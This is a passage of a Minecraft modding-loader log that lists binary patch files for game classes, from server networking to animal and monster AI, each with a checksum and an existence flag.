net.minecraft.network.syncher.EntityDataSerializers$3.binpatch Checksum: 53f3de4d Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$4.binpatch Checksum: 17c0eab9 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$5.binpatch Checksum: a4812821 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$6.binpatch Checksum: 9b7d59a3 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$7.binpatch Checksum: 3bf82ad6 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$8.binpatch Checksum: a2d0924e Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$9.binpatch Checksum: 3beaed69 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers.binpatch Checksum: 5d646e64 Exists: true Reading patch net.minecraft.network.syncher.SynchedEntityData$DataItem.binpatch Checksum: cae64a16 Exists: true Reading patch net.minecraft.network.syncher.SynchedEntityData.binpatch Checksum: 1a5b835f Exists: true Reading patch net.minecraft.recipebook.PlaceRecipe.binpatch Checksum: d745d490 Exists: true Reading patch net.minecraft.resources.RegistryReadOps$1.binpatch Checksum: 2181e1d7 Exists: true Reading patch net.minecraft.resources.RegistryReadOps$ReadCache.binpatch Checksum: 29f01ecc Exists: true Reading patch net.minecraft.resources.RegistryReadOps$ResourceAccess$1.binpatch Checksum: bced0e6c Exists: true Reading patch net.minecraft.resources.RegistryReadOps$ResourceAccess$MemoryMap.binpatch Checksum: 6a31072f Exists: true Reading patch net.minecraft.resources.RegistryReadOps$ResourceAccess.binpatch Checksum: b700be59 Exists: true Reading patch net.minecraft.resources.RegistryReadOps.binpatch Checksum: f73f5a23 Exists: true Reading patch net.minecraft.resources.ResourceKey.binpatch Checksum: 1448c2f8 Exists: true Reading patch net.minecraft.resources.ResourceLocation$Serializer.binpatch Checksum: 286ae72d Exists: true Reading patch net.minecraft.resources.ResourceLocation.binpatch Checksum: db9af97b Exists: true Reading patch net.minecraft.server.Bootstrap$1.binpatch Checksum: 62df2f51 Exists: true Reading patch net.minecraft.server.Bootstrap.binpatch Checksum: c77fe539 Exists: true Reading patch net.minecraft.server.Main$1.binpatch Checksum: b75cc17 Exists: true Reading patch net.minecraft.server.Main.binpatch Checksum: 565516b9 Exists: true Reading patch net.minecraft.server.MinecraftServer$1.binpatch Checksum: c5288844 Exists: true Reading patch net.minecraft.server.MinecraftServer$2.binpatch Checksum: 115a97b8 Exists: true Reading patch net.minecraft.server.MinecraftServer$TimeProfiler$1.binpatch Checksum: 19e9f041 Exists: true Reading patch net.minecraft.server.MinecraftServer$TimeProfiler.binpatch Checksum: 508b0c58 Exists: true Reading patch net.minecraft.server.MinecraftServer.binpatch Checksum: 2a8cb056 Exists: true Reading patch net.minecraft.server.PlayerAdvancements$1.binpatch Checksum: ed5cbf66 Exists: true Reading patch net.minecraft.server.PlayerAdvancements.binpatch Checksum: da0ca6b7 Exists: true Reading patch net.minecraft.server.ServerAdvancementManager.binpatch Checksum: 61afad5e Exists: true Reading patch net.minecraft.server.ServerResources.binpatch Checksum: 4114c3d4 Exists: true Reading patch net.minecraft.server.commands.LocateCommand.binpatch Checksum: 95c90dfa Exists: true Reading patch net.minecraft.server.commands.SpreadPlayersCommand$Position.binpatch Checksum: a129916f Exists: true Reading patch net.minecraft.server.commands.SpreadPlayersCommand.binpatch Checksum: cf3f23a8 Exists: true Reading patch net.minecraft.server.commands.TeleportCommand$LookAt.binpatch Checksum: c6de961c Exists: true Reading patch net.minecraft.server.commands.TeleportCommand.binpatch Checksum: b6ab11b4 Exists: true Reading patch net.minecraft.server.dedicated.DedicatedServer$1.binpatch Checksum: 91c1faf0 Exists: true Reading patch net.minecraft.server.dedicated.DedicatedServer.binpatch Checksum: ea2b4f86 Exists: true Reading patch net.minecraft.server.dedicated.ServerWatchdog$1.binpatch Checksum: f0b0c5b7 Exists: true Reading patch net.minecraft.server.dedicated.ServerWatchdog.binpatch Checksum: 607cd907 Exists: true Reading patch net.minecraft.server.dedicated.Settings$MutableValue.binpatch Checksum: ad28e66 Exists: true Reading patch net.minecraft.server.dedicated.Settings.binpatch Checksum: b2f58754 Exists: true Reading patch net.minecraft.server.gui.MinecraftServerGui$1.binpatch Checksum: c0f1b9be Exists: true Reading patch net.minecraft.server.gui.MinecraftServerGui$2.binpatch Checksum: de18d193 Exists: true Reading patch net.minecraft.server.gui.MinecraftServerGui.binpatch Checksum: 9a973221 Exists: true Reading patch net.minecraft.server.level.ChunkHolder$1.binpatch Checksum: a945a87d Exists: true Reading patch net.minecraft.server.level.ChunkHolder$ChunkLoadingFailure$1.binpatch Checksum: c7e2a7a5 Exists: true Reading patch net.minecraft.server.level.ChunkHolder$ChunkLoadingFailure.binpatch Checksum: 16df90d1 Exists: true Reading patch net.minecraft.server.level.ChunkHolder$ChunkSaveDebug.binpatch Checksum: bafdeb7c Exists: true Reading patch net.minecraft.server.level.ChunkHolder$FullChunkStatus.binpatch Checksum: f6d6b560 Exists: true Reading patch net.minecraft.server.level.ChunkHolder$LevelChangeListener.binpatch Checksum: 195ba371 Exists: true Reading patch net.minecraft.server.level.ChunkHolder$PlayerProvider.binpatch Checksum: c13fa4ce Exists: true Reading patch net.minecraft.server.level.ChunkHolder.binpatch Checksum: b8140982 Exists: true Reading patch net.minecraft.server.level.ChunkMap$1.binpatch Checksum: 9a2ae268 Exists: true Reading patch net.minecraft.server.level.ChunkMap$2.binpatch Checksum: cd866905 Exists: true Reading patch net.minecraft.server.level.ChunkMap$DistanceManager.binpatch Checksum: ea7bc649 Exists: true Reading patch net.minecraft.server.level.ChunkMap$TrackedEntity.binpatch Checksum: 10adee06 Exists: true Reading patch net.minecraft.server.level.ChunkMap.binpatch Checksum: 7d8a75bd Exists: true Reading patch net.minecraft.server.level.DistanceManager$ChunkTicketTracker.binpatch Checksum: 53f17e4b Exists: true Reading patch net.minecraft.server.level.DistanceManager$FixedPlayerDistanceChunkTracker.binpatch Checksum: ec39c980 Exists: true Reading patch net.minecraft.server.level.DistanceManager$PlayerTicketTracker.binpatch Checksum: bb3145f Exists: true Reading patch net.minecraft.server.level.DistanceManager.binpatch Checksum: ab307c76 Exists: true Reading patch net.minecraft.server.level.ServerChunkCache$MainThreadExecutor.binpatch Checksum: b0a53137 Exists: true Reading patch net.minecraft.server.level.ServerChunkCache.binpatch Checksum: 55f1dd24 Exists: true Reading patch net.minecraft.server.level.ServerEntity.binpatch Checksum: dfb99bb3 Exists: true Reading patch net.minecraft.server.level.ServerLevel$EntityCallbacks.binpatch Checksum: ecac9ee7 Exists: true Reading patch net.minecraft.server.level.ServerLevel.binpatch Checksum: f62da266 Exists: true Reading patch net.minecraft.server.level.ServerPlayer$1.binpatch Checksum: 46729277 Exists: true Reading patch net.minecraft.server.level.ServerPlayer$2.binpatch Checksum: 201774ae Exists: true Reading patch net.minecraft.server.level.ServerPlayer$3.binpatch Checksum: 6cd7c45c Exists: true Reading patch net.minecraft.server.level.ServerPlayer.binpatch Checksum: 6a6432f5 Exists: true Reading patch net.minecraft.server.level.ServerPlayerGameMode.binpatch Checksum: 702ac65c Exists: true Reading patch net.minecraft.server.level.Ticket.binpatch Checksum: b6638e21 Exists: true Reading patch net.minecraft.server.network.MemoryServerHandshakePacketListenerImpl.binpatch Checksum: 9916ea19 Exists: true Reading patch net.minecraft.server.network.ServerConnectionListener$1.binpatch Checksum: db59f11a Exists: true Reading patch net.minecraft.server.network.ServerConnectionListener$2.binpatch Checksum: 54e15eba Exists: true Reading patch net.minecraft.server.network.ServerConnectionListener$LatencySimulator$DelayedMessage.binpatch Checksum: 4163fcc1 Exists: true Reading patch net.minecraft.server.network.ServerConnectionListener$LatencySimulator.binpatch Checksum: ea798160 Exists: true Reading patch net.minecraft.server.network.ServerConnectionListener.binpatch Checksum: 431b9e13 Exists: true Reading patch net.minecraft.server.network.ServerGamePacketListenerImpl$1.binpatch Checksum: bb1842e8 Exists: true Reading patch net.minecraft.server.network.ServerGamePacketListenerImpl$2.binpatch Checksum: 73e6e41d Exists: true Reading patch net.minecraft.server.network.ServerGamePacketListenerImpl$EntityInteraction.binpatch Checksum: 42cab319 Exists: true Reading patch net.minecraft.server.network.ServerGamePacketListenerImpl.binpatch Checksum: d39f03f6 Exists: true Reading patch net.minecraft.server.network.ServerHandshakePacketListenerImpl$1.binpatch Checksum: 139c569 Exists: true Reading patch net.minecraft.server.network.ServerHandshakePacketListenerImpl.binpatch Checksum: 89f5bf77 Exists: true Reading patch net.minecraft.server.network.ServerLoginPacketListenerImpl$1.binpatch Checksum: 8076a98b Exists: true Reading patch net.minecraft.server.network.ServerLoginPacketListenerImpl$State.binpatch Checksum: 800c700 Exists: true Reading patch net.minecraft.server.network.ServerLoginPacketListenerImpl.binpatch Checksum: 7a4d02cf Exists: true Reading patch net.minecraft.server.packs.PackResources.binpatch Checksum: f854e9c Exists: true Reading patch net.minecraft.server.packs.VanillaPackResources$1.binpatch Checksum: 7818fbfb Exists: true Reading patch net.minecraft.server.packs.VanillaPackResources.binpatch Checksum: bd41b79b Exists: true Reading patch net.minecraft.server.packs.repository.Pack$PackConstructor.binpatch Checksum: 2499ba38 Exists: true Reading patch net.minecraft.server.packs.repository.Pack$Position.binpatch Checksum: cc710d72 Exists: true Reading patch net.minecraft.server.packs.repository.Pack.binpatch Checksum: 51b0f094 Exists: true Reading patch net.minecraft.server.packs.repository.PackRepository.binpatch Checksum: 5486f6c5 Exists: true Reading patch net.minecraft.server.packs.resources.FallbackResourceManager$LeakedResourceWarningInputStream.binpatch Checksum: 8cc19522 Exists: true Reading patch net.minecraft.server.packs.resources.FallbackResourceManager.binpatch Checksum: 57c0b0c3 Exists: true Reading patch net.minecraft.server.packs.resources.ResourceManager$Empty.binpatch Checksum: e729e9ec Exists: true Reading patch net.minecraft.server.packs.resources.ResourceManager.binpatch Checksum: f1e398cc Exists: true Reading patch net.minecraft.server.packs.resources.ResourceManagerReloadListener.binpatch Checksum: b9096cd8 Exists: true Reading patch net.minecraft.server.packs.resources.SimpleJsonResourceReloadListener.binpatch Checksum: dc1c7b2c Exists: true Reading patch net.minecraft.server.packs.resources.SimpleReloadableResourceManager$FailingReloadInstance.binpatch Checksum: 1eec0b40 Exists: true Reading patch net.minecraft.server.packs.resources.SimpleReloadableResourceManager$ResourcePackLoadingFailure.binpatch Checksum: 9d6b3aa0 Exists: true Reading patch net.minecraft.server.packs.resources.SimpleReloadableResourceManager.binpatch Checksum: 7cc5dab4 Exists: true Reading patch net.minecraft.server.players.PlayerList$1.binpatch Checksum: edae6b7c Exists: true Reading patch net.minecraft.server.players.PlayerList.binpatch Checksum: f8ee484d Exists: true Reading patch net.minecraft.server.rcon.RconConsoleSource.binpatch Checksum: 2af1f4ff Exists: true Reading patch net.minecraft.server.rcon.thread.RconClient.binpatch Checksum: 9b0fb0e7 Exists: true Reading patch net.minecraft.sounds.SoundEvent.binpatch Checksum: 3d861666 Exists: true Reading patch net.minecraft.sounds.SoundEvents.binpatch Checksum: 40bd797b Exists: true Reading patch net.minecraft.stats.StatType.binpatch Checksum: 77cc640f Exists: true Reading patch net.minecraft.tags.BlockTags.binpatch Checksum: 1c84a8b Exists: true Reading patch net.minecraft.tags.EntityTypeTags.binpatch Checksum: 20e0b1fc Exists: true Reading patch net.minecraft.tags.FluidTags.binpatch Checksum: ed8cbef8 Exists: true Reading patch net.minecraft.tags.GameEventTags.binpatch Checksum: 1e2d13ad Exists: true Reading patch net.minecraft.tags.ItemTags.binpatch Checksum: ef17bc8d Exists: true Reading patch net.minecraft.tags.StaticTagHelper$OptionalNamedTag.binpatch Checksum: 0 Exists: false Reading patch net.minecraft.tags.StaticTagHelper$Wrapper.binpatch Checksum: 6bcb3135 Exists: true Reading patch net.minecraft.tags.StaticTagHelper.binpatch Checksum: 14d84b7c Exists: true Reading patch net.minecraft.tags.StaticTags.binpatch Checksum: 5dcf6239 Exists: true Reading patch net.minecraft.tags.Tag$Builder.binpatch Checksum: da56c833 Exists: true Reading patch net.minecraft.tags.Tag$BuilderEntry.binpatch Checksum: dd987ff1 Exists: true Reading patch net.minecraft.tags.Tag$ElementEntry.binpatch Checksum: c0d4636b Exists: true Reading patch net.minecraft.tags.Tag$Entry.binpatch Checksum: 4c3509f9 Exists: true Reading patch net.minecraft.tags.Tag$Named.binpatch Checksum: 666371fa Exists: true Reading patch net.minecraft.tags.Tag$OptionalElementEntry.binpatch Checksum: 861a5a63 Exists: true Reading patch net.minecraft.tags.Tag$OptionalTagEntry.binpatch Checksum: 5846d868 Exists: true Reading patch net.minecraft.tags.Tag$TagEntry.binpatch Checksum: e2c47e06 Exists: true Reading patch net.minecraft.tags.Tag.binpatch Checksum: f3dc537b Exists: true Reading patch net.minecraft.tags.TagContainer$1.binpatch Checksum: 7586274e Exists: true Reading patch net.minecraft.tags.TagContainer$Builder.binpatch Checksum: 84775329 Exists: true Reading patch net.minecraft.tags.TagContainer$CollectionConsumer.binpatch Checksum: 4544c15a Exists: true Reading patch net.minecraft.tags.TagContainer.binpatch Checksum: d2f70cc8 Exists: true Reading patch net.minecraft.tags.TagManager$LoaderInfo.binpatch Checksum: 74e26317 Exists: true Reading patch net.minecraft.tags.TagManager.binpatch Checksum: 3d80f516 Exists: true Reading patch net.minecraft.world.effect.MobEffect.binpatch Checksum: 506431e0 Exists: true Reading patch net.minecraft.world.effect.MobEffectCategory.binpatch Checksum: 589a051 Exists: true Reading patch net.minecraft.world.effect.MobEffectInstance.binpatch Checksum: 5dd7bb36 Exists: true Reading patch net.minecraft.world.effect.MobEffects$1.binpatch Checksum: 452c1c7d Exists: true Reading patch net.minecraft.world.effect.MobEffects.binpatch Checksum: 84c824c1 Exists: true Reading patch net.minecraft.world.entity.Entity$1.binpatch Checksum: 8d8816e9 Exists: true Reading patch net.minecraft.world.entity.Entity$MoveFunction.binpatch Checksum: 29926be7 Exists: true Reading patch net.minecraft.world.entity.Entity$MovementEmission.binpatch Checksum: 3351b64e Exists: true Reading patch net.minecraft.world.entity.Entity$RemovalReason.binpatch Checksum: 3e3eb132 Exists: true Reading patch net.minecraft.world.entity.Entity.binpatch Checksum: 855a9c39 Exists: true Reading patch net.minecraft.world.entity.EntityType$1.binpatch Checksum: 972e48f9 Exists: true Reading patch net.minecraft.world.entity.EntityType$Builder.binpatch Checksum: d9ecb073 Exists: true Reading patch net.minecraft.world.entity.EntityType$EntityFactory.binpatch Checksum: 2341be9f Exists: true Reading patch net.minecraft.world.entity.EntityType.binpatch Checksum: c9c472f2 Exists: true Reading patch net.minecraft.world.entity.ExperienceOrb.binpatch Checksum: 6780a8e0 Exists: true Reading patch net.minecraft.world.entity.FlyingMob.binpatch Checksum: a364b0a6 Exists: true Reading patch net.minecraft.world.entity.LightningBolt.binpatch Checksum: 93d1b20d Exists: true Reading patch net.minecraft.world.entity.LivingEntity$1.binpatch Checksum: e1f53f17 Exists: true Reading patch net.minecraft.world.entity.LivingEntity.binpatch Checksum: 6f07beba Exists: true Reading patch net.minecraft.world.entity.Mob$1.binpatch Checksum: 44232200 Exists: true Reading patch net.minecraft.world.entity.Mob.binpatch Checksum: c9eee74 Exists: true Reading patch net.minecraft.world.entity.MobCategory.binpatch Checksum: 6288edc2 Exists: true Reading patch net.minecraft.world.entity.Shearable.binpatch Checksum: 671d32ef Exists: true Reading patch net.minecraft.world.entity.SpawnPlacements$Data.binpatch Checksum: d898eaad Exists: true Reading patch net.minecraft.world.entity.SpawnPlacements$SpawnPredicate.binpatch Checksum: 3efc2bbf Exists: true Reading patch net.minecraft.world.entity.SpawnPlacements$Type.binpatch Checksum: d7616dbc Exists: true Reading patch net.minecraft.world.entity.SpawnPlacements.binpatch Checksum: 5395b5c1 Exists: true Reading patch net.minecraft.world.entity.ai.attributes.Attribute.binpatch Checksum: 360dbfe2 Exists: true Reading patch net.minecraft.world.entity.ai.attributes.AttributeSupplier$Builder.binpatch Checksum: a881c3b6 Exists: true Reading patch net.minecraft.world.entity.ai.attributes.AttributeSupplier.binpatch Checksum: 6c2a4d90 Exists: true Reading patch net.minecraft.world.entity.ai.attributes.DefaultAttributes.binpatch Checksum: 19367d60 Exists: true Reading patch net.minecraft.world.entity.ai.behavior.CrossbowAttack$CrossbowState.binpatch Checksum: 83de9eeb Exists: true Reading patch net.minecraft.world.entity.ai.behavior.CrossbowAttack.binpatch Checksum: 571227ca Exists: true Reading patch net.minecraft.world.entity.ai.behavior.HarvestFarmland.binpatch Checksum: 54725bc2 Exists: true Reading patch net.minecraft.world.entity.ai.goal.BreakDoorGoal.binpatch Checksum: 5371e433 Exists: true Reading patch net.minecraft.world.entity.ai.goal.EatBlockGoal.binpatch Checksum: 2b616268 Exists: true Reading patch net.minecraft.world.entity.ai.goal.MeleeAttackGoal.binpatch Checksum: be1bdb3f Exists: true Reading patch net.minecraft.world.entity.ai.goal.RangedBowAttackGoal.binpatch Checksum: d180bdb7 Exists: true Reading patch net.minecraft.world.entity.ai.goal.RangedCrossbowAttackGoal$CrossbowState.binpatch Checksum: cf52ad87 Exists: true Reading patch net.minecraft.world.entity.ai.goal.RangedCrossbowAttackGoal.binpatch Checksum: b4f60c3a Exists: true Reading patch net.minecraft.world.entity.ai.goal.RemoveBlockGoal.binpatch Checksum: 90b38065 Exists: true Reading patch net.minecraft.world.entity.ai.goal.RunAroundLikeCrazyGoal.binpatch Checksum: 4145705a Exists: true Reading patch net.minecraft.world.entity.ai.memory.MemoryModuleType.binpatch Checksum: 57e85c42 Exists: true Reading patch net.minecraft.world.entity.ai.navigation.PathNavigation.binpatch Checksum: 47792c30 Exists: true Reading patch net.minecraft.world.entity.ai.navigation.WallClimberNavigation.binpatch Checksum: 6170c25a Exists: true Reading patch net.minecraft.world.entity.ai.sensing.SensorType.binpatch Checksum: 7b3e3661 Exists: true Reading patch net.minecraft.world.entity.ai.village.VillageSiege$State.binpatch Checksum: d470736d Exists: true Reading patch net.minecraft.world.entity.ai.village.VillageSiege.binpatch Checksum: cabc3db8 Exists: true Reading patch net.minecraft.world.entity.ai.village.poi.PoiType.binpatch Checksum: 5b4b8d54 Exists: true Reading patch net.minecraft.world.entity.animal.Animal.binpatch Checksum: 1a045362 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$1.binpatch Checksum: eb6b25f0 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BaseBeeGoal.binpatch Checksum: 281cc582 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeAttackGoal.binpatch Checksum: dbd81d09 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeBecomeAngryTargetGoal.binpatch Checksum: c017de81 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeEnterHiveGoal.binpatch Checksum: db9d0d66 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeGoToHiveGoal.binpatch Checksum: ccfaf14f Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeGoToKnownFlowerGoal.binpatch Checksum: 786d0031 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeGrowCropGoal.binpatch Checksum: a81b7c35 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeHurtByOtherGoal.binpatch Checksum: 423e9f41 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeLocateHiveGoal.binpatch Checksum: cf8579f7 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeLookControl.binpatch Checksum: 4ad13c44 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeePollinateGoal.binpatch Checksum: b0c14397 Exists: true Reading patch net.minecraft.world.entity.animal.Bee$BeeWanderGoal.binpatch Checksum: 59b3f0a8 Exists: true Reading patch net.minecraft.world.entity.animal.Bee.binpatch Checksum: 63f79139 Exists: true Reading patch net.minecraft.world.entity.animal.Cat$CatAvoidEntityGoal.binpatch Checksum: b533c9f7 Exists: true Reading patch net.minecraft.world.entity.animal.Cat$CatRelaxOnOwnerGoal.binpatch Checksum: 55b1bd21 Exists: true Reading patch net.minecraft.world.entity.animal.Cat$CatTemptGoal.binpatch Checksum: 46d6de0e Exists: true Reading patch net.minecraft.world.entity.animal.Cat.binpatch Checksum: 29997a80 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$DefendTrustedTargetGoal.binpatch Checksum: 9394db36 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FaceplantGoal.binpatch Checksum: 56e44a7a Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxAlertableEntitiesSelector.binpatch Checksum: 351d0539 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxBehaviorGoal.binpatch Checksum: 5d4cfca3 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxBreedGoal.binpatch Checksum: 532f7d26 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxEatBerriesGoal.binpatch Checksum: 5298d4e4 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxFloatGoal.binpatch Checksum: 61ac3034 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxFollowParentGoal.binpatch Checksum: dc1c2080 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxGroupData.binpatch Checksum: c43ee442 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxLookAtPlayerGoal.binpatch Checksum: f9c98ac Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxLookControl.binpatch Checksum: 8ea8ffb2 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxMeleeAttackGoal.binpatch Checksum: c8e1f875 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxMoveControl.binpatch Checksum: f6bccd59 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxPanicGoal.binpatch Checksum: 3ce3d4d6 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxPounceGoal.binpatch Checksum: 78b272a8 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxSearchForItemsGoal.binpatch Checksum: f194c6f9 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$FoxStrollThroughVillageGoal.binpatch Checksum: b22a46d6 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$PerchAndSearchGoal.binpatch Checksum: d655248c Exists: true Reading patch net.minecraft.world.entity.animal.Fox$SeekShelterGoal.binpatch Checksum: 6d44ebed Exists: true Reading patch net.minecraft.world.entity.animal.Fox$SleepGoal.binpatch Checksum: 67731ac1 Exists: true Reading patch net.minecraft.world.entity.animal.Fox$StalkPreyGoal.binpatch Checksum: dc9587e Exists: true Reading patch net.minecraft.world.entity.animal.Fox$Type.binpatch Checksum: 1166eee6 Exists: true Reading patch net.minecraft.world.entity.animal.Fox.binpatch Checksum: 3c68290 Exists: true Reading patch net.minecraft.world.entity.animal.IronGolem$Crackiness.binpatch Checksum: 1914b648 Exists: true Reading patch net.minecraft.world.entity.animal.IronGolem.binpatch Checksum: 5d6bce91 Exists: true Reading patch net.minecraft.world.entity.animal.MushroomCow$MushroomType.binpatch Checksum: d7659688 Exists: true Reading patch net.minecraft.world.entity.animal.MushroomCow.binpatch Checksum: 46d35367 Exists: true Reading patch net.minecraft.world.entity.animal.Ocelot$OcelotAvoidEntityGoal.binpatch Checksum: 43b1d9c0 Exists: true Reading patch net.minecraft.world.entity.animal.Ocelot$OcelotTemptGoal.binpatch Checksum: 75e125a3 Exists: true Reading patch net.minecraft.world.entity.animal.Ocelot.binpatch Checksum: 6e50d25 Exists: true Reading patch net.minecraft.world.entity.animal.Parrot$1.binpatch Checksum: 48ec3f69 Exists: true Reading patch net.minecraft.world.entity.animal.Parrot.binpatch Checksum: 9f055ac7 Exists: true Reading patch net.minecraft.world.entity.animal.Pig.binpatch Checksum: 937a7d71 Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit$EvilRabbitAttackGoal.binpatch Checksum: 3a181464 Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit$RabbitAvoidEntityGoal.binpatch Checksum: ecb5a0ac Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit$RabbitGroupData.binpatch Checksum: af5aad86 Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit$RabbitJumpControl.binpatch Checksum: 96f21e9a Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit$RabbitMoveControl.binpatch Checksum: c1b7a071 Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit$RabbitPanicGoal.binpatch Checksum: 35ce08f Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit$RaidGardenGoal.binpatch Checksum: 9c4d4e80 Exists: true Reading patch net.minecraft.world.entity.animal.Rabbit.binpatch Checksum: 6d921086 Exists: true Reading patch net.minecraft.world.entity.animal.Sheep$1.binpatch Checksum: 77db2726 Exists: true Reading patch net.minecraft.world.entity.animal.Sheep$2.binpatch Checksum: 597a4ce7 Exists: true Reading patch net.minecraft.world.entity.animal.Sheep.binpatch Checksum: 67518d82 Exists: true Reading patch net.minecraft.world.entity.animal.SnowGolem.binpatch Checksum: 5e23c019 Exists: true Reading patch net.minecraft.world.entity.animal.Wolf$WolfAvoidEntityGoal.binpatch Checksum: b2b1915f Exists: true Reading patch net.minecraft.world.entity.animal.Wolf.binpatch Checksum: 1610181d Exists: true Reading patch net.minecraft.world.entity.animal.horse.AbstractHorse$1.binpatch Checksum: 8bbeed62 Exists: true Reading patch net.minecraft.world.entity.animal.horse.AbstractHorse.binpatch Checksum: 3509e318 Exists: true Reading patch net.minecraft.world.entity.animal.horse.Horse$HorseGroupData.binpatch Checksum: e5c6dae7 Exists: true Reading patch net.minecraft.world.entity.animal.horse.Horse.binpatch Checksum: 4497fa74 Exists: true Reading patch net.minecraft.world.entity.animal.horse.SkeletonTrapGoal.binpatch Checksum: f58475a8 Exists: true Reading patch net.minecraft.world.entity.boss.EnderDragonPart.binpatch Checksum: e49eba9 Exists: true Reading patch net.minecraft.world.entity.boss.enderdragon.EnderDragon.binpatch Checksum: 42d78455 Exists: true Reading patch net.minecraft.world.entity.boss.wither.WitherBoss$WitherDoNothingGoal.binpatch Checksum: a6053bb3 Exists: true Reading patch net.minecraft.world.entity.boss.wither.WitherBoss.binpatch Checksum: 99441c1d Exists: true Reading patch net.minecraft.world.entity.decoration.ArmorStand$1.binpatch Checksum: 8243d5f6 Exists: true Reading patch net.minecraft.world.entity.decoration.ArmorStand.binpatch Checksum: 7e7f0fcf Exists: true Reading patch net.minecraft.world.entity.decoration.HangingEntity$1.binpatch Checksum: 3469ce34 Exists: true Reading patch net.minecraft.world.entity.decoration.HangingEntity.binpatch Checksum: 27d6f52 Exists: true Reading patch net.minecraft.world.entity.decoration.Motive.binpatch Checksum: 2562b549 Exists: true Reading patch net.minecraft.world.entity.item.ItemEntity.binpatch Checksum: e89df57a Exists: true Reading patch net.minecraft.world.entity.monster.AbstractSkeleton$1.binpatch Checksum: 34ed1e51 Exists: true Reading patch net.minecraft.world.entity.monster.AbstractSkeleton.binpatch Checksum: 70d4f00b Exists: true Reading patch net.minecraft.world.entity.monster.Creeper.binpatch Checksum: 6b7130eb Exists: true Reading patch net.minecraft.world.entity.monster.CrossbowAttackMob.binpatch Checksum: 845c65fd Exists: true Reading patch net.minecraft.world.entity.monster.EnderMan$EndermanFreezeWhenLookedAt.binpatch Checksum: 36297e82 Exists: true Reading patch net.minecraft.world.entity.monster.EnderMan$EndermanLeaveBlockGoal.binpatch Checksum: 7d1d96b1 Exists: true Reading patch net.minecraft.world.entity.monster.EnderMan$EndermanLookForPlayerGoal.binpatch Checksum: fc704a76 Exists: true Reading patch net.minecraft.world.entity.monster.EnderMan$EndermanTakeBlockGoal.binpatch Checksum: 8f813d91 Exists: true Reading patch net.minecraft.world.entity.monster.EnderMan.binpatch Checksum: 1b27ba1c Exists: true Reading patch net.minecraft.world.entity.monster.Evoker$EvokerAttackSpellGoal.binpatch Checksum: 796da674 Exists: true Reading patch net.minecraft.world.entity.monster.Evoker$EvokerCastingSpellGoal.binpatch Checksum: 86b3b12b Exists: true Reading patch net.minecraft.world.entity.monster.Evoker$EvokerSummonSpellGoal.binpatch Checksum: 77e2c07b Exists: true Reading patch net.minecraft.world.entity.monster.Evoker$EvokerWololoSpellGoal.binpatch Checksum: c13e78cf Exists: true Reading patch net.minecraft.world.entity.monster.Evoker.binpatch Checksum: 41698800 Exists: true Reading patch net.minecraft.world.entity.monster.Illusioner$IllusionerBlindnessSpellGoal.binpatch Checksum: 2c37185 Exists: true Reading patch net.minecraft.world.entity.monster.Illusioner$IllusionerMirrorSpellGoal.binpatch Checksum: 6c8a7ea7 Exists: true Reading patch net.minecraft.world.entity.monster.Illusioner.binpatch Checksum: 42e688f2 Exists: true Reading patch net.minecraft.world.entity.monster.MagmaCube.binpatch Checksum: 286cedfc Exists: true Reading patch net.minecraft.world.entity.monster.Pillager.binpatch Checksum: acd59571 Exists: true Reading patch net.minecraft.world.entity.monster.Ravager$RavagerMeleeAttackGoal.binpatch Checksum: e3f923cf Exists: true Reading patch net.minecraft.world.entity.monster.Ravager$RavagerNavigation.binpatch Checksum: 76b76758 Exists: true Reading patch net.minecraft.world.entity.monster.Ravager$RavagerNodeEvaluator.binpatch Checksum: ef65054 Exists: true Reading patch net.minecraft.world.entity.monster.Ravager.binpatch Checksum: c83ef37c Exists: true Reading patch net.minecraft.world.entity.monster.Silverfish$SilverfishMergeWithStoneGoal.binpatch Checksum: aa0bc5a0 Exists: true Reading patch net.minecraft.world.entity.monster.Silverfish$SilverfishWakeUpFriendsGoal.binpatch Checksum: da8d77d4 Exists: true Reading patch net.minecraft.world.entity.monster.Silverfish.binpatch Checksum: cbe989e9 Exists: true Reading patch net.minecraft.world.entity.monster.Slime$SlimeAttackGoal.binpatch Checksum: eacd2c20 Exists: true Reading patch 